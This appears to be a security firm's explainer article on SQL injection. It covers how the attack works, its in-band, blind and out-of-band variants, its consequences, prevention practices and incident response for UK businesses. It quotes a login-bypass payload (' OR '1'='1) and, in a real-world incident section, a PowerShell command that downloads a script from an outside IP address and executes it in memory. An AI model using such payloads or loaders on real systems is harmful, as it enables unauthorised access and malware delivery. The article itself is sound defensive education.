Why does a decades-old attack method like SQL injection still remain one of the most widely used techniques by cybercriminals in 2025? Why are businesses across the UK and globally still vulnerable to this well-known threat?
SQL injection (SQLi) is a type of code injection attack that targets applications interacting with SQL databases. It involves manipulating application input fields, like login forms, search boxes, or URL parameters, to inject malicious SQL statements that directly interact with the database.
If successful, these attacks can allow unauthorised access to data, compromise the integrity of information, and in some cases, give attackers full control of the system. Despite the availability of mature security protocols, SQL injection continues to thrive due to poor development practices, legacy systems, and inadequate awareness.
According to the Open Web Application Security Project (OWASP), injection attacks ranked third in the top 10 web application vulnerabilities in 2021, with over 274,000 identified instances. In 2025, these figures are expected to climb further due to increased digital dependency and growing attack sophistication.
How Does a SQL Injection Attack Work Behind the Scenes?
To understand the severity of SQL injection, it’s important to know how it works. At its core, SQL injection exploits the way web applications construct and execute database queries using user-supplied input. If an application dynamically inserts raw input into a SQL statement without validation or sanitisation, it becomes vulnerable.
Consider a basic login form that uses a query like this:
SELECT * FROM users WHERE username = 'admin' AND password = 'password';
An attacker could submit:
' OR '1'='1
Turning the query into:
SELECT * FROM users WHERE username = '' OR '1'='1';
This query always evaluates to true, granting the attacker access regardless of the actual password. From there, more malicious commands can be executed, potentially affecting the entire database.
SQL injection is effective because it takes advantage of the application’s own logic to execute commands on the database. The vulnerability isn’t in the database itself but in how the application communicates with it.
What Are the Different Types of SQL Injection Attacks?
SQL injection techniques vary based on how data is retrieved and the nature of the target system. The three main types of SQLi are:
In-Band SQL Injection
This is the most common and straightforward form, where the same channel is used to launch the attack and gather the results.
Within in-band SQLi, two techniques are most prevalent:
- Error-based SQL Injection: Attackers manipulate queries to generate error messages from the database. These errors reveal valuable information about the database’s structure and functionality, making it easier to plan further attacks.
- Union-based SQL Injection: This technique uses the SQL UNION operator to combine the results of two queries. It allows attackers to extract data from other tables by injecting union statements into vulnerable inputs.
Inferential SQL Injection (Blind SQLi)
In cases where attackers don’t receive direct data output, they use inferential techniques to guess data based on application behaviour.
Boolean-based Blind Injection involves sending queries that result in different application responses depending on the logical validity of the statement. If a page loads normally or behaves differently, attackers can infer true or false outcomes.
Time-based Blind Injection introduces a time delay in the response. By observing how long the application takes to respond, attackers can deduce if specific conditions are met. This method is more time-consuming but highly effective for well-secured systems.
Out-of-Band SQL Injection
Out-of-band SQLi is used when the attacker cannot use the same channel to both send and receive information. Instead, the data is exfiltrated through alternative channels such as DNS or HTTP. This method is typically used when other forms of injection are ineffective due to restrictions or performance limitations.
What Can Be the Consequences of a Successful SQL Injection Attack?
The implications of a successful SQL injection attack can be catastrophic. Organisations often store critical business and customer data in SQL databases. When compromised, this data can be stolen, altered, or completely destroyed.
- Exposing Sensitive Company Data: Attackers can retrieve business-sensitive information like internal documents, employee records, or operational strategies. In industries such as finance, retail, or healthcare, this can lead to severe legal and financial consequences.
- Compromising User Privacy: If the SQL database contains customer information, such as names, addresses, or payment details, attackers can harvest this data for identity theft or financial fraud.
- Gaining Unauthorised Access: If the compromised SQL account has elevated privileges, attackers may gain control over not just the database but the entire application. In worst-case scenarios, they could upload malicious files, take down servers, or pivot to other internal systems.
- Corrupting or Deleting Data: Beyond theft, SQL injection can be used to alter or delete records. This threatens data integrity and may cause operational chaos, especially if backups are outdated or poorly managed.
How Have SQL Injection Attacks Evolved in Real-World Scenarios?
A notable example reported by CrowdStrike Falcon Overwatch involved the use of SQL injection as the initial access vector. Attackers executed encoded PowerShell scripts through a vulnerable application form, ultimately delivering a PowerShell loader associated with the Carbon Spider threat group.
The payload used the following encoded command:
$p=((New-Object Net.WebClient).DownloadString('http[:]//46.17.105[.]207/lzbt6001sop_64refl.ps1'));$p|.('IeX')
This triggered a remote download and memory-based execution of malicious DLL files. The attackers used echo and ping commands to test system responsiveness, and also leveraged WMIC commands to extract domain information, demonstrating a coordinated and sophisticated exploitation chain stemming from a simple SQL injection flaw.
Why Are So Many Applications Still Vulnerable to SQL Injection?
The persistence of SQLi as a top vulnerability stems from several root causes:
- Improper input validation: Many applications fail to properly sanitise or validate user inputs before processing them.
- Use of legacy systems: Older applications often lack modern security measures such as prepared statements.
- Shared database environments: One vulnerable application on a shared server can compromise multiple others.
- Insufficient developer training: Developers may not be familiar with secure coding practices or assume that basic input filtering is enough.
Input filtering is often misunderstood as a sufficient security measure. In reality, denying certain characters or strings can be easily bypassed with obfuscated payloads. Only robust practices such as query parameterisation and input validation can effectively block SQLi.
What Are the Most Effective Ways to Prevent SQL Injection?
Preventing SQL injection is achievable with well-established practices and tools.
Below is a summary of the most effective measures:
| Best Practice | Description |
| Use Parameterised Queries | Always define queries with placeholders instead of dynamically constructing SQL strings. |
| Implement Stored Procedures | Move business logic into the database and restrict direct SQL execution from the application. |
| Escape User Input | If parameterisation isn’t possible, escaping user inputs is a secondary method to neutralise malicious characters. |
| Input Validation | Validate input fields to ensure they only accept expected data types and formats. |
| Limit Database Privileges | Apply the principle of least privilege to restrict SQL users to necessary operations only. |
| Avoid Shared Accounts | Isolate credentials for each application to limit lateral movement in case of a breach. |
| Disable Detailed Errors | Prevent error messages from being displayed in the browser, which could leak system information. |
| Update Software | Regularly patch web servers, databases, and third-party libraries. |
Each of these practices contributes to a layered security approach that drastically reduces exposure to SQLi threats.
How Should Organisations Respond to a Discovered SQL Injection Vulnerability?
When an SQL injection vulnerability is identified, whether by internal teams or through external audits, swift action is essential.
Organisations should:
- Coordinate an internal investigation involving developers, system administrators, and information security personnel.
- Review application logs, database logs, and web traffic to identify the point of compromise.
- Apply immediate patches or disable vulnerable modules temporarily.
- Notify stakeholders, particularly if customer data or sensitive business information may have been exposed.
- Monitor affected systems for further signs of exploitation or lateral movement.
- Report breaches to the Information Commissioner’s Office (ICO) under GDPR if applicable.
Failure to respond adequately may result in data protection fines, reputational damage, and even operational shutdowns.
What Can UK Businesses Do Today to Protect Themselves from SQLi?
UK businesses must treat SQL injection as a high-priority cybersecurity issue, not just a technical flaw.
Proactive measures can include:
- Regular penetration testing and vulnerability scans
- Developer training in secure coding practices
- Integration of Web Application Firewalls (WAFs)
- Compliance with standards such as ISO/IEC 27001, PCI DSS, and GDPR
Cybercriminals are becoming more creative, and while SQLi is not new, its simplicity and potency make it a go-to method for attackers. Addressing it requires a combination of technical solutions, organisational policies, and security awareness across all teams.
FAQs
How frequently do SQL injection attacks occur?
They occur constantly. Automated bots scan websites 24/7 for vulnerabilities, especially in login forms and search inputs.
Is SQL injection still relevant in today’s cybersecurity landscape?
Yes. Despite being a long-known issue, SQLi remains highly relevant due to poor coding practices and legacy systems.
Can SQLi be fully prevented?
While no system is entirely immune, rigorous application of secure coding and server hardening practices can drastically reduce the risk.
Are cloud applications vulnerable to SQL injection?
Yes. SQL injection is about how an application interacts with a database. Cloud-hosted databases are not inherently safer.
Does HTTPS protect against SQL injection?
No. HTTPS encrypts data in transit, but does not affect how the server processes that data.
How can developers test for SQLi vulnerabilities?
Tools like SQLMap, Burp Suite, and OWASP ZAP are commonly used for detecting injection flaws.
What industries are most impacted by SQL injection?
Retail, finance, healthcare, and education are high-risk due to the sensitive data they store.